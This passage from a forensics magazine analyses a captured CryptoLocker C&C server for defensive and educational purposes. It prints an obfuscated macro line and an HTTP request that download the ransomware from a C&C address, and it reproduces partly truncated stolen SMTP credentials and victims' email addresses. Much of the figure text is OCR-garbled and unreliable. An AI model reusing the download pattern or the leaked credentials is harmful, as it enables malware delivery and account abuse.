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Dear Readers,

We are pleased to present you our new issue of eForensics Maga-
zine — “Inside the Cryptolocker C&C server”. We hope that you will
enjoy reading our Magazine and subjects covered in this issue will
help you to stay updated and aware of all possible pitfalls!

As you probably have noticed we changed a bit our idea of the mag-
azine. Instead of 4 ebooks per month in lines: Network, Comput-
er, Database and Mobile Forensics we decided to publish 2 ebooks
(one as a mash-up of latest topics another as sum-up of materials
from our workshops) and 2 online workshops. We know that the
new conventions is still something new for you but believe that it
will give you more benefits.

The schedule of our online courses you can find under this link
http://eforensicsmag.com/all-courses/.

It’s very special time of the year... Christmas brings family and
friends together. It helps us appreciate the love in our lives we of-
ten take for granted. May the true meaning of the holiday season
fill your heart and home with many blessings. Thank you for all the
support.

Merry Christmas!

Joanna Kretowicz
CEO at SW Press
EIC of eForensics Magazine

@ \») www.eForensicsMag.com
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INSIDE THE CRYPTOLOCKER C&C SERVER
by Davide Cioccia and Senad Aruch

CryptoLocker was a ransomware trojan which target-
ed computers running Microsoft Windows and was
first observed by Dell SecureWorks in September 2013.
CryptoLocker propagated via infected email attach-
ments, and via an existing botnet; when activated, the
malware encrypts certain types of files stored on lo-
cal and mounted network drives using RSA public-key
cryptography, with the private key stored only on the
malware’s control servers.

PREDICTING THE NEXT WAVE OF
ATTACKS: HOW BEHAVIOURAL MODELS
MIGHT AUGMENT CURRENT THREAT
ANALYSIS TECHNIQUES

by Anthony Caldwell & Ronan Dunne

It is our social need for more interconnectedness, for
education, for financial and business transactions
which has led to the explosive growth in the number
of users online, indeed recent statistics suggest that ap-
proximately one-third of the global population now us-
es the Internet (Internet Live Stats, 2014). Concordantly,
the opportunities for the hacker to expose a private citi-
zen or indeed a corporate entity to risk have also grow.

2

OPERATIONAL LEVEL OF DEFENSE

by Filip Nowak

Security operations is subject to constraints, limita-
tions and constant task reprioritization. This is espe-
cially true when developing Security Operations Cen-
ter (SOQ), shifting between initial levels of maturity and
finding out what really slows down the effectiveness of
the primary objectives. There is a common belief, that
the technology and the “new version of software” will
solve all such issues once and for all, closing the dilem-
ma between security capabilities and processing pow-
er. The next generation of a security appliance may ad-
dress some types of new emerging threats and defense
methodology appears to be a game changer.

2

ATTACKVECTOR

by Amit Kumar Sharma

The thing that was the most important in this definition
that attracted me was the mention of Human element
which involves the use of Social Engineering and utiliz-
ing the people involved in the Defense system of any
Organization to break into them which is easier than
breaking into the networks of the target.

3

4OFROM CRIME SCENE TO COURTROOM:
COLLABORATION ADDS PRECISIONTO
THE INVESTIGATION PROCESS
by Dr. Jim Kent, Global Head of Investigations
and Cybersecurity, Nuix
The digital forensics profession is in the midst of a rapid
evolution. The growing volume of digital evidence from
an increasingly diverse and escalating number of data

«
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sources is forcing the digital forensics community to
change the way it conducts investigations.

UNDERSTANDING SIM CARD FORENSICS
by Rohit Shaw

The SIM (subscriber identity module) is a fundamental
component of cellular phones. It’s also known as an in-
tegrated circuit card (ICC), which is a microcontroller-
based access module. It is a physical entity and can be
either a subscriber identity module (SIM) or a universal
integrated circuit card (UICC). A SIM can be removed
from a cellular handset and inserted into another; it al-
lows users to port identity, personal information, and
service between devices. All cell phones are expected
to incorporate some type of identity module eventual-
ly, in part because of this useful property.

SQL SERVER PERFORMANCE COUNTERS -
POWERSHELL

by Chris Kitchen

The purpose of this article is to discuss at a high level
a simple PowerShell application which collects use-
ful Windows Performance Monitor Counters for high-
lighting potential performance issues. The article then
goes on to discuss each of the counters in greater detail
along with range values to look for.

SQL SERVER DATA ENCRYPTION

& ACCESS

by Chris Kitchen

The purpose of this article is to discuss at a high level,
some of the available options for encrypting and re-
stricting access to data held within a Sql Server data-
base. It describes a number of available options and al-
so looks at some of the advantages and limitations of
each from a technical perspective.

TOWARDS A SECURE NEXT GENERATION
PPDR COMMUNICATION: SALUS
APPROACH

by S.L.P. Yasakethu, O.Adigun and C. Politis

A secure communication network that is backward
compatible with legacy communication and new 4G
technologies that supports reliable and robust trans-
mission of broadband data is necessary to deliver a
next generation services for Public Protection and Di-
saster Relief agencies (PPDR). This paper describes an
intrusion detection approach to strengthen the securi-
ty procedures in PPDR systems as envisaged in the new
EU FP7 project SALUS. The project aims to achieve the
above goal by covering the full techno-economic scope
regarding development and deployment of this next
generation of communication networks for PPDR. PP-
DR architecture and reference scenarios related to the
research project are also discussed in the paper. The de-
velopment of such a framework will improve the Euro-
pean next-generation communications network strate-
gies for PPDR agencies.

www.eForensicsMag.com
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FOCUS OF THIS RESEARCH

This research’s main focus is C&C Server analyses where we successfully intercept the whole C&C sev-
er activity, reveling attack scenario with complete archive of the software used from attackers. The CC
server’s are located in Russia, USA, Switzerland and Bosnia and Herzegovina. Our focus was the active
CC server hosted in Russia. We found the admin panel used to conduct the attack’s, with granular con-
figuration possibilities. Using the admin panel attackers can select the country, amount of ransom to be
asked with timer. This CryptoLocker version is the last know version equipped with TOR plugin to avoid
the track-back and BITCOIN plugin. The valet id definition inside the admin panel is the virtual bank ac-
count used from attacker to collect the money from victims.

To avoid the money transfer traces they chose BC like payment mechanism. To make the attack real
they are using a custom decrypt application with decrypt key that victim should receive after the suc-
cessfully money has been transferred. Another interesting founding is the possibility to ask two different
amount of money from victims. One is the amount of money asked before the timer goes out, and sec-
ond amount is higher because of missing the first offer. The admin config can manage a multiple attacks
based on mail-list’s, geo location’s, language’s and country IP address range’s. With this functionality
the attackers can have a pre-defined profiles for different countries. Sample profile can have options like,
choosing a file with emails from *.UK domain with possibility to filter the IP address range for UK. In this
way the spammed and infected users receives a landing page in their own language making the attack
more effective. The first landing page is not forced to use TOR but payment and other activities require
a TOR network. Another interesting thing was the CHAT log’s showing the conversations between vic-
tims and attackers, inside this logs we found a trace that even with verified payment made from victims
the attackers was ignoring to sent them the decrypt keys and in some cases they was asking for more
money. Another critical data we found inside the CC is the hacked POP and IMAPI accounts ready to be
used for spamming activity.

All this hacked account’s was grouped based their country domain. From the logs folder inside the CC
we found a full log of the BC transactions made from victims where the total amount of the stolen BC’s from
victims was huge. This is another proof that that this attack is a high profit illegal job leveraging more power
to create a more sophisticated attack and malware functionality.

Analyzing the documents we received through a suspicious mail we extract the macro inside. The mac-
ro used by hackers to infect the machine is a Visual Basic module that is able to create new files inside
the TEMP folder and download the real malware from a C&C server through an HTTP GET request.
To avoid antivirus detection the malware is represented by a .PNG image containing a VB code inside.

Here is a sample took from the original macro that show how the malware can communicate with his
C&C server and how the code is obfuscated.

xwrrbe2ngn3ofo65cnfwectqt7rvvyxzu 0gbdg47u8h3zgtOhchb Chr (104) & Chr(l116) & Chr(116) & Chr(lxx) & Chr(x8
) & Chr(4x) & Chr(47) & Chr(49) & Chr(48) & Chr(57) & Chr(46) & Chr(xx) & Chr(xx) & Chr(xx) & Chr (4
X) & Chr(49) & Chr(xx) & Chr(xx) & Chr(46) & Chr(xx) & Chr(57) & Chr(xx) & Chr(9x) & Chr(x) & Chr(xx
) & Chr(110) & Chr(103), Environ(Chr(lxx) & Chr(lxx) & Chr(lxx) & Chr(112)) & Chr(92) & Chr(74) & Ch
r(75) & Chr(87) & Chr(84) & Chr(89) & Chr(65) & Chr(68) & Chr(88) & Chr(74) & Chr(85) & Chr(77) & Ch
r(46) & Chr(101) & Chr(xx0) & Chr(xxl)

Many characters are obfuscated (xx) on purpose. The macro we found inside is a VB macro with many
functions to hook the malware and download the real .exe from another server.

The algorithm used by the malicious encryption is ordinary and the process injections are as follows:

* WINWORD.exe
+ JKWTYADXJUM.exe
 JKWTYADXJUM.exe
» explorer.exe
* vssadmin.exe
* iexplorer.exe
* svchost.exe

« » www.eForensicsMag.com
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After the dropper executes the malware the system is encrypting the personal files with public PGP key
and storing the private key in the CC server with time bomb.

C&C SERVER CONNECTIVITY
When the macro starts, HTTP requests are sent through the network to four different IP address:

IP Country Pingable Open Ports
23.64.165.163 United States unknown unknown
195.186.1.121 Switzerland unknown unknown
46.161.30.19 Russian Federation unknown unknown
109.105.193.99 Bosnia and Herzegowina unknown unknown

We can see the network connection whit the map below where the red areas show the malware re-
quest to download new files (from Russian server) and redirect the user in the decrypt portal.

Figure 2. Network activity map

The first request sent over the network is made to download the real malware from the C&C server.

Listing 1. HTTP GET request to downoad the real malware

GET /a.png HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR
3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Host: 109.105.193.99

Connection: Keep-Alive

This is the real malware that will encrypt the infected user file. When the malware is on the infected ma-
chine and is injected in the explore.exe process, the encryption start. Cryptolocker perform also other
two request to the server to download two .CRL file.

Certificate Revocation List (CRL) is one of two common methods when using a public key infrastruc-
ture for maintaining access to servers in a network.

www.eForensicsMag.com
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Listing 2. First certificate download

GET /pca3.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: crl.verisign.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

Listing 3. Second certificate download

GET /CSC3-2009-2.crl HTITP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512
Host: ¢sc3-2009-2-crl.verisign.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

After this point the victim is hooked on the C&C server and there is no way to receive the encrypted files
without paying the ransom where there is a lot of case where victims pays the ransom but they never
receive the unlock keys.

VICTIM IS READY

When an infected user open the fake document, an instance of Internet Explore appear. Is a simple mes-
sage alerting the target that his PC is infected by a Cryptolocker virus and the only way to decrypt files
is to buy a customer decryption software.

AR AN - P ool et Faplorer mIES
Bl Bl Vew  Fawaidel  Tooh  Helo o
W [N A = il
- A= T o [ samch Favirim E’l T g T ,:!| J»,J, a'i
Addreris [ ] C\Documents and Settings dministystorDesiopl DECRTRT_INGTRUCTIONS hml =] Ete | unks ™
1) Tokeioprobed: wour securiy, Intenmet Expioner has restrichsd ths e from shosing active conitent that could scoess your compuber. Chok e for - d
gl .

We have encrypted your files with CryptoLocker virus—

o important files |incheding those on the retwark diskls), US8, ebc): photos, wideos, dotuments aie. wird
encrgind with Cryptolocker wins. The onlyway to get wour Figs back 15 to buy our decryption softwar
Oitharwitn, yeur Fiag will ha lngt

Caution: Removing of CryptoLocker will sol restonk scoets 1o your encrypted fikes.

Click here to buy decryption

software
4
—_— Al L P s i I -
&) b o My Computer
Wistart| ool i doc - |[E] paronrant - microso. L) Cryptolodeer T soeEH

Figure 3. First Cryptolocker screen

Every single target has own username identifying his profile and the portal language. Below an exam-
ple of the website used by attackers to “help” the user in the decrypting process.

@ @ www.eForensicsMag.com



7
0 efForensics

Cryptal ocker Boy Decryplion Softwars  Decryps Binge Fils’ ™ T Seppart

Buy decryption software and get all your files back

S e e N B LT L T 1 B0
O buty 1 LitH T e i o m0S AR
s rhBeiyy ooor rovEe

g stk e, €1 T vt 1 LI
LS o e 1T o vanat 1500 LENY
Four sl M prorpoees KR

Buy Decryption Software withi) hitcoin
Regiiller Bitesin walli
g e : o el

Bury biRCoiS

Figure 4. Descryption website

As we can see the requested amount for this user is 500$ =3.79 BTC to decrypt all the encrypted files.
If you don’t have a BTC wallet the website give you a FAQ section with every explanation on how to cre-
ate one and how make the payment.

Freguontly Asiad Questions

Figure 5. FAQ section
To be trustable the attackers expose a service to decrypt only one encrypted file with “.encrypted” ex-
tension, in the “Decrypt Single File” section.

Decrypt Single File'™

Make sure that decryption is possible, restore one file for free before you buy the software

Flease select 4 file ta decryps, websibe will decrypt only one e

Hobe: Tl shosld not be mone than | megabyte

e E=E

Figure 6. Form to decrypt a single file

Finally they offer a mail customer service where targets can send an help request. In a nutshell they
will receive the request by they will never give an answer.

@ @ www.eForensicsMag.com
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Support page
If you still have a question, please contact us
Four g-mal.
Prosblam: b prptege

Comment:

HIG T ¥ o E

28ivw

LS ol m
Figure 7. Support form

This panel is target-oriented and changing the username inside the request can show that is developed
to hit a lot of countries due to the variety of the translations. We think that this malware is targeting at
least 20 different countries with a special attention on ltaly, Netherland and Spain.

Here a list of some username with the associated Country:

Table 1. Username of infected users

Username Country

h4qpk9 Italy

Ihoil9 Deutschland

ku3rc9 UK

aosba9 Netherland

gn4aa9 Spain
INSIDE C&C SERVER

The functionality of the CC server is designed to operate in autopilot.

There is a two main functionality, one for the victim “user” and for the admin “admin”.

Index of /data/templates/admin Index of /data/templates

o Parent Directory . S .

_'| ransompages ml 13-0ct-2014 08:24 1 9K ) i

:ﬂ s 13-0ct:2014 07:31 33K D admin/ 13-Oct-2014 0742

W) statistieshiml  11-Sep2014 10:01 719 O user e

Apachei22 32 ( Defian) Server ar 46161 3019 Por 5080 Apache/2 222 (Debian) Server ai 46,161 3019 Port 8030

Figure 8. Templates used to build the cryptolocker webpage Figure 9. Single template pages

The admin can configure the CryptoLocker and the settings of the C&C server with the infection kind
and amount of money they will request from the victims.

The attackers can define an INDEX landing page for the specific counties with the amount of the ran-
som where they can define the before and after amount.

@ @ www.eForensicsMag.com
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= Stafisiics
+ Ransom Pages
* Settings

%_RANSOM_PAGES TABLE %

Deelault Info-Fage
HTML fike: Choons Mis | = fia nalacies
Countrigs
Before Ammias
Afler Aumounl:

Curency

Figure 10. Control panel to upload a new temaplate

The configuration page for the attacker where he can define the contact e-mail and tor-url for the com-
munications between the victim and the attacker. Also we can see here the payment URL — Bit-coin wal-
let setups. The most important option here is the decryption key and application that C&C will deliver
to the victim after the payment.

Login Credentials
Lagin:
Passwnond

Payment URL'S

E-Mail: o PRYMENT ML %

Adain UURL: MR PATMENT R

Tesr URL: 0 POR PAYMEMT LR

UEL 1: _FATMENT UL T %

URL Z: o PAYRENT L 3

URL X o PAYRENT LI 3

Time of the Uster

Time: W_OFFEN_TIME_ W

Hitcoes wallet

Achidross: ALLET D, blockchain

Decrypion Applacation {%_DEC_AFP_LIPLOAD_DATE %)
Choces Fia  no Sl sslecied

Deerypion Key {%_DEC_KEY_UPLOAD _DATE %)
Crocss Pl o B selecied

IV-Yactor (%_IV_UPLOAD DATE_%)
Chocss Pl rao Ba splacied

S Saregs

Figure 11. Admin control panel to set the Bitcoin ID to receive the payments

Every single Botnet contains different folders:

* mails: targeted account from

different countries
+ smtp: stolen account used to spread the phishing campaign
* errs: errors generated by the Cryptolocker

@ \») www.eForensicsMag.com



_

Index of /data/botnets

MName Last modified

4 Parent Directory -
i PI 30-Oct-2014 11:22 -
12 16-Oct-2014 13:58 -
(i P 16-Oct-2014 09:16 -
1 20-0ct-2014 07:47 -
D16/ 21-Oct-2014 08:18 -
01w 04-Nov-2014 04:54 -
a 20/ 30-Oct-2014 23:19 -

Apache/2.2.22 (Debian) Server at 46.161.30.19 Port

Figure 12. Botnets used by Cryptolocker

Size Description
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The BOTNET number 11 contains 2.772 infected victims hostnames.

Index of /data/botnets/11/errs

Tmmee Laxl pwolifi
o Purcnit Dircetory
|E TATEHHA-TOSH- 1 TERES4SRCEAHFAFR lia WOet- 004 1200
[# Tu-PC-06TBDR4T486CCIOTATRONTOR Joy 30-0c1-2014 11:24

m IEE AL A 2 -EYBO0ADL TARSCALIIGENEC K oy, HHOct-2014 17531
[‘ﬂ (HICAANELAHSCA ] A-TTUTE I CERA LAZER] log 03-Mow-2014 21;20
|1’| D01 37286 7aR6-4 1 00 SAHTES0GETIS S log 4-Xov-2014 (4:08
m PILNTA5 25620 E BB AYCHE RG] A0 Jop 300t D4 16:53
m L-KOMPUTER- 32502 ABEDCOSS2TATE Log 4-Mow-2014 1023
m IMORE-3B2CIESITRFR I BTAABRIDTREDD log 30-0c1- 2014 15:45
Iﬁ [P A IBDIAATUTMUIFGL TRUATEAT log I-OcA-20014 12:29
m TCNETINT12- 13- 1BDCTDASIGICCODBDD Jog 30-Oct-2004 12:27
|ﬂ y I F=ls o - it ITd="w= RS AR 12
@ EYHIPX1-BCATAO I ARBCFDATZIFFEFAS log 10-Oc1-2014 11:57
|ﬂ FAACTRY2 B TR ST AT T o WhOer-2114 15:11
[ﬁ T2ES8ACI146 IDSATCSTIDOBDRSETFM log 03-Now-2014 05:50
m I-REZER NC29EE - T SETHREDNEI R A ST Los -MNov-2014 1R
[ﬁ L1GGPATEEOS I ROT I OCDTIM0EGE | B oy O3-Moe- 2004 (527
[ﬁ BASCASFAMBAAT-HTTIREFEED I log Ict-3014 14:21
['i*] BT NO- BRI DAGSEASFYSHEIADREITITE log D4-Mowv-2004 14:10
m AW T-ABDLACE ARDBCIINFUBE ]S Jog 0301 12:05
L".l'_| EAER N K 08ALH 30Oer- 2004 (4:52
Iﬁ' a 5 GEH I BEGESEC S M- 2014 L3 15
[P 15465056 DF AAFBISDRESEI AADIBET log 310t 2014 06:31
m 074041 W00 AT 191 DTS IR0 A0 o Dd-Mow-2014 12:23
m 619401310238 A0 DEIDZFADIE2191.log 03-Nowv-2014 05237
[ﬂ APUGATSG AR TS ATTRZCSGRRAE lor Madlct-H14 HikLD

™ o i

Figure 13. Errors log file generated by the malware

Size Descriplion

GER
350

72
£ 1]
Az
218
304
e L]
j&0

380
Tl

2
a2

Sal
13K
sl
144
=y

216
348

THE BOTNET 11 HAVE 2.172 INFECTED VICTIMS
The mails folder contains “CSV” files with email addresses used in the spread spam attack.
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File “GB.csv” contains 12.904 mail addresses with full name and surname of the targeted victims. Be-
low an extract of the data inside every single file.

Index of /data/botnets/11/mails

MName

& Parent Directory

@ ES.csv

'E‘Iu&.s..u

¥ W mails.zip

L.ast modified

Size Description

30-0ct-2014 16:45 196K
03-Nov-2014 11:33 24M
30-0Oct-2014 (02:58 TeBK
03-Nov-2014 01:38 684K
03-Nov-2014 09:08 5.7K
31-0c1-2014 04:10 444K

Apachel2 2.22 { Debian) Server at 46.161.30.19 Porr 8080

Figure 14. Mail section

The total amount of the targeted victims inside the BOTNET11:

» ES.csv =2580

« GB.csv=12.904
* |T.csv =9.689

* NL.csv=1.809

TOTAL = 26.982

mulugeta
loretta.bz
mzoe@m
mulugeta
A Wattigt
kingufhe
andrew [
andrew.b
| ianandar
backstree
dawvid.1.m
craigend{
calummao
ratriona |
ij sheare
Cl@welst
dawve.falld
belgian.c
david.mch
donaldca
doris@lu
duggimeor
rohertdim
diukei@b
Elaine .M
elizabeth
elizabeth
elliott@b
parki@pe

ahoo.co.uk
gmail.com

t.com

ahoo.co.uk

ar uk
ns@hotmail.wom
ahoo.co.uk
Bvirgin.net
ison@btinternet.com
nthworld.com
D5.C0.UK

..com

rmall.com
won@inverciyde gov uk
1ail.com

r.oo.uk

oo.co.uk
e@tiscali.co.uk

16 @talktalk.net
lo@hotmail.com
ealty.biz

I.com

snry@email com
dern.co.uk

nverciyde gov.uk
ierl@virginmedia.com
withall.co.uk
3od.com
‘Lireesene.co.uk

Figure 15. Mail target example

enitant:
loretta.b
Microzof
Mulugeti
"A Wart{
Adam Ot
Andrew F
Andy Bro
Ann Hutc
Backstres
Bank - Di
Brian Poy
Calum M
Catrinona
Chiris She
Craig Lim
Dawve Fal
David Go
David Mc
Donald C
Doris

Dougie
Douglas
Duncan L
Elaine M
Clizabett
“Elizabet
Elliott M
Eispeth b

Team

www.eForensicsMag.com



_

eForensics

IM a g a zin e

SMTP Folder contains hacked SMTP accounts that attacker is using for the SPAM delivery. Inside
these files we found the username and password of the stolen accounts. During our analysis we have
seen a lot of high risk victims like government, law enforcement, lawyers.

Index of /data/botnets/11/smtp

N Lasiaodified Shie Dasciod

a Parcnt Dircctory

%) IT_smitp.txt

30-Oct-2014 05:28 14K
29-0ct-2014 20:39 248

Apache/2 2.22 (Debian) Server af 46 161 30,19 Pori 8080

Figure 16. SMTP stolen accounts section

smtpout.icteam.it:25:antonio
smtpout . icteam. it:?5:antonio

lypsogroup.it:Cal
spar_it:Calypsao?f

0502811, :@
1.:6

emtp.landl.it:25:maura.omenet Jcavazzana.it:mau Tk2E8:8
SMTP:?%:ape_ma_ia:carro:@

cmtp.gmall.com: 465 :mcamilla.r nall.com:Tommasol 2
mail.libero.it:25:pagani. cgk. :pagani:@
mail.libero.it:25:infogkling: e

mail.

dueponti.to:25:venditaig

to:iRKzkt8rjUnr:@

emtp.tiscali. it:465:duepontl zalinet _it:duepon 1:1
smtp.fastwebnet.it:25%:sergio ynomimilano.it:se gio:@
smip.gmail. com: 587 - caiusbonu: il.com:Vaffanculd 1
mail.rainoldi.net:25orlandop ~ainoldi.netiwlrd 14blL:8

SMTP: 25 :VISCONTILEQONARDO - mars

mail.stargatenct.it:25:n.Ffom tioniecdilferro.it frrnci72mll: @
mail.golinelli.eu:2?%:5pillar: 1i.eu:Carlotta??:

Smtp.

gmail.com:537:arch.coscl

192 168.1.253:2%:m. 101 1inig@n:

cmtp.

gmail.com:587:a.daccard:

out_aliceposta.it:?%:monica.«

mail.

191.1t:25:amgtostlassoc:

mail.com:giacomin
wrmillona: ®
—om:tyson3@@912:1
EH

Llt:amam:@

79:1

smtp.boncompagnigomme . it:25:: ympagnigomme.it:b 336367:0
mall.drdmoto.1t:25: infogdrdm Ilneg: @
smtp.gmail.com:5%8/:barbara.o pail.com:micraag? 4sj:1
mail.postecert.it:4A5:antone. fpec_mmba.it:TSR4 Sw3:1
mail.mmba.it:5&/:comun-morric L:Ceccab@uld:1

mail.191. bis:25: crmalboneseg: 191.it:1965crm=:8@

smtp.

gmail.com:%8/: crmalbone:

—om:crmb2382:1

Figure 17. SMTP stolen accoutnt extraction

HERE WE CAN SEE 125 VALID HACKED ACCOUNTS READY TO BE USED FOR SPAM
Analyses for the botnet number 12 shows more targeted counties. Also the most interesting founding
here is the folder named “feedback” where attackers keep their chat and email logs talking to the victims.

Feedback folder contains 3 log files, where the attackers write messages sent by user through the
“Support” section. Here we can see:

+ dontknow.log
+ other.log
* payment.log

This division is related to the message object the user can select.
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Below an example of this log file

Index of /data/botnets/12

Name Last modified Size Description
a Parent Directory -
E errs/ 30-Oct-2014 12:45 -
(0] feedback/ 21-Oct-2014 05:13 -
() mails/ 04-Nov-2014 14:04 -
(] smtp/ 25-0Oct-2014 05:02 -

Apachel2.2.22 (Debian) Server at 46.161.30.19 Port 8080

Index of /data/botnets/12/feedback

Name Last modified  Size Description

a Parent Directory -
P dontknowlog  24-Oct-2014 02:40 402
?) otherlog 27-0ct-2014 08:44 497
P paymentlog  16-Oct-2014 13:58 268

Apache(2 2 22 (Debian) Server at 46161 3019 Port 8080

Figure 18. Feedback section

donminow bey® (D

[3018-10-F0 LT:08r4N] [T Wgmail.com] hello, we are Eryilng to boy Lhe DAtCGLns, Dot we Paye probless,
: can was help st Is it wulu w to pay wslng coedls cardt

-----
v |!-ilH- ER=F1 FIRATAR] I RERD, oY T WROr.0O% | 30 B POEG PN,
(N ECITETE i s i3 dd] (1088, Jlolllobein.dt] ke acgaistes L bitceis mi & arriveta l'email., ma ora roa so come effettuare 11 pagasente

ranie
[

Figure 19. Dontknow.log extract

paymentlog O

= = T

1 |3014=10=1% 17:38:18) [T&&8, Fyaboo.it] Gentill ﬂl.l;ll'n:ll.'i

: vorrel pagare parh non ho la eifra che el avets richiests, potressms accordarel com la eifra di 200,00 Eura?
]

i PoRsiamo avere una cisposta il pid breve possibiled
5

b Grazie

¥

¥ Distinti saluti

]

5% Hax
nli

Figure 20. Payment.log extract
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(1] g EL] g 7] g a0 - £ ; &0 . 0 [1) vI ; L] 2 118 g
IIIJ:II-II} 21 09 elleSd) 8093, = - fror.net ] athar probles
T (2014=10=22 1Ti00049] (10315, r' T LF] m.oom] Bola,
i
[ flok bloqussdos, Hemos hecko la solicitud de page pers no recibimos instreccionss por parts de ustedss.
5
i h la espara
" Grasias
L) !:Dll-!ﬂu-i'l 17 edde21) LD]DI Jlgmail.com] ba probads ha hecer la desescriptacids de wh fichers ¥ Ao
1] revibido respossta ml’imniﬁ- d-l que s haya riptada, quisisra pagar pero querria uns proshs

Figure 21. Other.log extract

lﬂﬂw [ ]
TP s =TT T, L T T TR PRTITE  . FRT L
[2014-18- :|.= 095165451 6950, & Tecemiou] Bolls,

What guarantes do I get that I pay the $600AUD and I get the service I pay for?
I would like my family photos back - wrongfully emcrypted.

[2014=-10=-18 0T 08ed2] (8520, —a. ugecom] Sdems sonrasinda bilgisaverimdaki dosyalarin sgailacafin:
nasal garantl edebilirsiniz. Ye hu.\"-l.e 'ru.pnu. durusum vearmid
[2014=10=18 14:!1:11] [874%, iy Diblgmall.ovm] ddesuyl vapap eilce pouvgramin. alsak Eetiyoous

11 yapdism LUtDes
[12014=10=20 ﬂhﬂhiﬂ [L-E R PR

Y

“ugom.en] Bello,
I am having trouble getting bitcoin do you acvcept Credit Card that is all i have.

Ploane holp
[20014=10=20 11r0%e30] [B%28, mUroCclooooiosu fgmail.com] nasil Bdesms yapicam lliefen yardime: olurmusamz
18 [2014=10=21 10r0%cd®] [87A3, baykol! 't ..l _.__ligmail.com] daha Smoe h teoin kullanmadik hig ve gibvenis yok
.' yardimey nlabilirmiminis paray: yarirmak igin
o [2014=10=21 10:0%:50) [A7TAS, Rayknl " __jégmail.com) daha deoe Biteodn kollanmadik hig ve glvenis yok
a yardimey olabdlirmisiniz paray: rltu-lll igin
I7T [E018=]lDeFy OTr16pdT] [E9YE, AFE inotnail.oom) bir Kollanicl 1.700 TL alarak odemoeyi kabal sdiyor

11 lakin afz Eonuan Sdemeyi gergeklegrirecek bilgisf ynk. PAYpAl Adresiniz yorsur
x|

Figure 22. Dontknow.log secodn exmaple

A lot of the victims didn’t receive the promised unlock keys, so this is a proof that is not good to pay them
a money because they will never ever provide you the keys for unlock.

The list of the targeted countries her is more than botnet 11.

The hacked accounts ready to be used from spam is also matching the targeted countries.

.
Index of /data/botnets/12/mails

Index of /data/botnets/12/smtp

B Last modificd]  Siec Drscriplion o
Name Last medified  Sizs Description

o Macent Driretory -
%) ke 18008 2014 (822 53K o B [rcdocy ;
%) Abiesy Mo 20180811 62K (%) A 16-0¢1-2014 D01 362
§) BEcey (B 2014 D] 14HE ¥ A soupan 2202004 1347 114
W) Ay a-Nav- 2014 0751 19K IE D smipis:  18-Oci-2004 1512 122
8 Cllew 16 et 201 0248 1R2K [4) Esam 16 Ot 2004 07:57 14K
8 D [N 204 1332 167K (W] ESsmmprn  Z-0ek2004 0297 12K
[ o 100t 2014 6719 18K E] FRompon HOc20140802 90
[ ESax 230022014 0037 3.8M [4) GB smtpan 2140612014 0747 2362
) 2500 A AT 15K (49 B 1601004 D250 114
[ B 1 -Oks- 20140747 15K E‘] [t 16Ot 2014 02:06 122
[¥) Gl [4-Bov- 2014 0544 52K [!_] [ smipisi  P-OciX01400:13 222
W) e 16-0ct-2014 0207 MK (4] s 16-0c1- 2014 D6:25 42K
‘_ﬂ || B Mhd-Mov-2014 1304 HE IE [C_smtp.Lan - Now-2004 4212 13K
) 1z 160t 2004 0742 10K [Pl smipi  200ci-2004 HR4S 258
8 Dt 16-0t. 2014 0050 K10 [¥] Buaw 15-0c1-2014 20:22 228
W) e [N 2014 13205 7.8M (W] BV smapas  Z5-De2004Dd:40 2aK
%) MKy 120002004 1447 15K (M US smtpas  15-Ox0-2002 1530 124
[ Moy 1-fhcr- 2014 DT 425K &) Emipop 0t 2014 (4:AS 16
) MG e D4-Xov-2014 0755 374 .
_l']ﬂ.ps-c (3-Nov- 2014 14213 308 Apackei2 222 { Delran) Server ai #6061 2019 Porr 5050
[¥) N Dd-oov-2014 14:13 147K . ]
% PLess 16-0c8-2004 1042 54K Figure 24. smtp section for the botnet 12
W) RSz 15062 2014 07-% 3 4K
i‘l L (63-Mav- 2014 1404 | HK

Araurkesd ¥} 33 & Prebieon | Sovver ca el 1E 8 8 Pars B8

Figure 23. Mails section for the botnet 12
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USER FOLDER DETAILS
Based on the system language and geo-location the malware is redirecting the user to the ransom-page
for the payment designed on their language.

The HTML file are the templates used buy the php user pages to select the different languages.
Index of /data/templates/user/GB

o Parent Directory

(¥ buyhiml 02-0ct-2014 09:32 43K
[§] decrypthtml ~ 02-Oct-2014 07:09 53K
(¥ faq.humi 02-0ct-2014 09:02 56K
[§] feedbackiml ~ 02-Oct-2014.07:10 58K
[#) info.php 11-Sep-2014 03:50 13K

Apache/2 2.22 (Debian} Server ar 46061 30019 Forr 8080

Figure 25. Template for the UK targets

SOURCE CODE OF THE C&C SERVER
Inside the “INC” folder we found the full source code of the CyrptoLocker C&C Server.

Index of /inc

MName Last modified Size Description

o Parent Dircctory

:ZI bic_currency_parser.php 16-0ct-200014 09:15 566

[ bie_pavment pacserphp  02-Sep-201405:04 533

P misc.php 30-0ct-2014 10:38 2.9K

(2 phpsecliby 13-Oct-2014 07:41

7] rack_admin.php 30-Oct-2014 10:50 22K

|7 msk_cfe php 13-0c1-2014 07:32 10K

'?) meck_dh.php 16-Oct-2014 08:45 31K

P meck_decryplorphp

15-Sep-2014 06:48 2.7K

P rack_decrypior_software php 15-Sep-2014 07:24 767

?) tack_cxr.php
2] rack_misc.php
3 psk_paymentphp

P mck_ransom_page.php

|?] rack_reg php

09-5¢p-2014 0503 10K
09-Sep-2014 D2:58 386
16-Chen-2004 09:42 15K
11-Sep-2014 06:15 2.1K
13-0c1-2014 08:34 23K

Apache’2 2.22 ( Debian) Server ar 46161 3019 Porr 8080

Figure 26. Cryptolocker source files

This is the “heart” of the malware. This code is used to encrypt, decrypt, transfer money and save into
a DB all the grabbed informations.
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STATISTICS

During our analysis of the C&C server we found the mail targeted by the CryptoLocker malware.
The spreading process is performed by compromised SMTP account from different countries. In many
cases there are also government and public institutions email and password. Below there is a statistical
analysis about these data divided by botnets.

Botnet 11 Target Mail

37138

Figure 27. Botnet 11 mail numbers

The first botnet is mainly focused on four different countries:

Spain (2580 email)

United Kingdom (37138 email)
Italy (9689 email)

Netherland (9299 email)

Botnet 12 Target Mail

Figure 28. Botnet 12 mail numbers

